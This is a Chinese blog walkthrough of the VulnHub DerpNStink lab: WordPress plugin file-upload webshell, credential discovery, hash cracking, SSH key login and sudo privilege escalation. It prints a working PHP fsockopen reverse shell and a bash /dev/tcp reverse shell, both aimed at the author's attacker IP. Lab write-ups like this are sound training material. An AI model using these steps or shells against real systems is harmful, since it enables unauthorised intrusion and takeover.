freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

derpnstink靶场-打靶的乐趣
2022-05-07 15:07:04
所属地 北京

靶场相对于真实环境而言,很多时候他会有人为的提示或者是各个步骤间有很强的关联性引导我们一步一步探索,这个靶场在我看来就是这种很典型的靶场,与其说是打靶不如说是一个推理游戏,在里面依靠一些漏洞以及作者留下的线索一步一步找到出口

靶场并不难,如果有兴趣可以先尝试打一下,我觉得挺有意思的。

靶场地址:https://www.vulnhub.com/entry/derpnstink-1,221/

一共4个flag

知识点:

wordpress 文件上传getshell

ssh 密钥登录

sudo 提权

工具:

arp-scan

nmap

wpscan(扫描wordpress漏洞)

hash-identifier(检测加密类型)

john(hash解密)

wireshark

dirb

主机发现

arp-scan -l

1651898535_6275f8a77e1366a7bb915.png!small

端口扫描

1651898799_6275f9af19411a10caf42.png!small

这里试了下ftp,没有匿名登陆于是直接访问80端口

1651898926_6275fa2ea80c58f04cdf2.png!small

好干净的页面,看一下源代码找到第一个flag

1651899073_6275fac1463b791529590.png!small

dirb目录爆破一下

dirb http://192.168.0.2

1651899137_6275fb0177ffd0023c995.png!small

有好多,在根目录下分为3个目录 temporary、php、weblog其中观察weblog的子目录应该是wordpress框架,php目录下有phpmyadmin,挨个访问

1651899651_6275fd037ab3a81457b0f.png!small

1651899711_6275fd3fba90400c35d44.png!small

1651899751_6275fd67da5b0a28719f6.png!small

其中php/phpmyadmin 没试出来弱密码,weblog页面下一直跳转到http://derpnstink.local/这个链接,根据以往的经验需要改一下hosts文件

windows该文件在 C:\Windows\System32\drivers\etc\hosts

linux在/etc/hosts

在该文件中添加一条记录就行了

1651900024_6275fe7868d7549d5cde4.png!small

然后重新访问

1651900282_6275ff7a1f36a94baaab3.png!small

成功访问,默认后台默认密码一条龙进入后台

1651900577_627600a1656114eab90d1.png!small

一边手工找顺便用wpscan扫一下

wpscan --url http://derpnstink.local/weblog/ #通用扫描
wpscan --url http://derpnstink.local/weblog/  --enumerate #枚举用户

wpscan没发现啥重要的,发现一个低版本插件

1651901158_627602e6411426058acb2.png!small

好像是管理侧边框的插件如下,这个插件存在文件上传漏洞(上面已经有我上传过的一句话)

1651901238_627603365eac190a1db70.png!small

点击add new然后选择文件上传

1651901414_627603e651dde071fe5da.png!small

1651901438_627603fe00a6eb015d095.png!small

这里什么过滤措施都没有,上传之后测试成功

1651901553_6276047104dbd0af1f84d.png!small

接下来蚁剑连接找各种有用文件,收获如下

在weblog目录下的wp-config.php目录中找到数据库用户名和密码

1651901968_6276061050774181d1b2e.png!small

发现存在提权漏洞但是均未成功提权

1651902024_6276064812810c4229286.png!small

在信息搜索的过程中发现了一些有意思的细节比如说这个在提示我们应该先登录stinky用户,还让人觉得很真实

1651902304_62760760050147b72f30c.png!small

没有其他收获,拿着刚刚的账号看一下数据库

在wordpress数据库中发现flag2,也告诉我的路径是正确的

1651902483_627608133866054a1c212.png!small

然后在mysql中发现线索

1651902561_62760861881eb4888ad82.png!small

其中unclestinky可以在cmd5中破解出来,但是要收费我使用john可能字典不够强没破解出来贴一下用到的命令

hash-identifier 查看密文加密类型(虽然我知道是mysql加密)

1651902848_62760980753abc2e4883e.png!small

将密文保存到文件中使用john破解,这里指定加密类型为mysql-sha1

john --format=mysql-sha1 pass.txt

这里没破解出来,又不想花钱,就在网上找了个writeup看一下密码是: wedgie57

但是蚁剑是虚拟终端没办法切换用户,还得反弹shell,写一个php反弹shell文件放到根目录下,kali开启监听后访问该文件即可

<?php
$a='$sock=fsockopen("192.168.0.3",8888);exec("/bin/sh -i <&3 >&3 2>&3");';
#192.168.0.3 kaliip
#8888 kali监听的端口
system("php -r  '$a'");
?>

这是我自己瞎写的能用

kali开启监听后访问一下这个文件

1651903534_62760c2e2fea57085be97.png!small

成功反弹shell,python -c 'import pty;pty.spawn("/bin/bash")' 可以获得一个更稳定的shell环境

切换到stinky用户,使用命令 ls -alR 递归查看当前目录下所有文件

1651903694_62760ccee0e7126b33bf2.png!small

找到几个有意思的文件

flag3

1651903773_62760d1dbef697e6b2f5f.png!small

derpissues.txt derp好像是另一个用户

1651903812_62760d44c4d37f91aa2b1.png!small

key.txt,藏得这么深肯定有问题

1651903879_62760d87b04d9824c1c52.png!small

逐个查看

flag3

1651903967_62760ddf4a333534bff70.png!small

derpissues.txt

1651904045_62760e2d7c514d92a8d86.png!small

两个管理员的对话,大致是mrderp账户没了,stinky给他初始化了一个账号,mrderp用这个账号登上去更改了一下账号信息结束了,解题之道就在其中,但是还有个文件没看先看一下key.txt

1651904419_62760fa36efcda80104c8.png!small

这熟悉的格式,是ssh私钥,放到kali上,保存到/.ssh/id_rsa中(好像放哪都一样) 使用私钥登一下

发现root和stinky都拒绝但是mrderp用户可以,不过需要输入密码

1651905440_627613a0acdc671b5b514.png!small

1651905426_627613923933a9567316a.png!small

看来接下来只有登录到mrderp提权得到第四面旗子了,回到stinky找密码

我就盯着derpissues.txt琢磨了好久还是想不出来,又在stinky中进行了一波信息收集

1651906048_62761600c4c34b3523716.png!small

噢,我的上帝这是什么,这就是他们俩聊天中抓取的数据包了吧,作者设计的太巧妙了,吧这个数据包先复制到tmp文件夹下面然后通过蚁剑下载下来,放到kali用wireshark看一下,只看http请求就可以了

1651906228_627616b4546ece1745c93.png!small

事后发现只看post请求更清晰

1651906642_62761852a5023f7ba2fca.png!small

成功找到密码

1651906697_627618899a4b368997a85.png!small

登录ssh

1651906727_627618a79ba4d6b69eee7.png!small

芜湖,进来了按照我的思路,suid和sudo提权先试一下

1651906820_627619044042de8586803.png!small

好像可以sudo提权,但是没有这个路径我们自己创建一下就行了

先创建binaries,再创建一个以derpy开头的sh文件,在里面写入反弹shell代码

#!/bin/bash

bash -c "bash -i >& /dev/tcp/192.168.0.3/8888 0>&1"

1651906976_627619a09415c02f72e05.png!small

kali开启监听,然后执行derpy.sh文件

1651907042_627619e2b0ec75259466e.png!small

1651907062_627619f682534902e77fa.png!small

成功反弹shell

flag4

1651907101_62761a1dca21e1b54f0ee.png!small

靶场不难,不过感觉解题过程很有意思,像是在看一个推理小说

# 渗透测试 # 网络安全 # web安全 # 数据安全 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者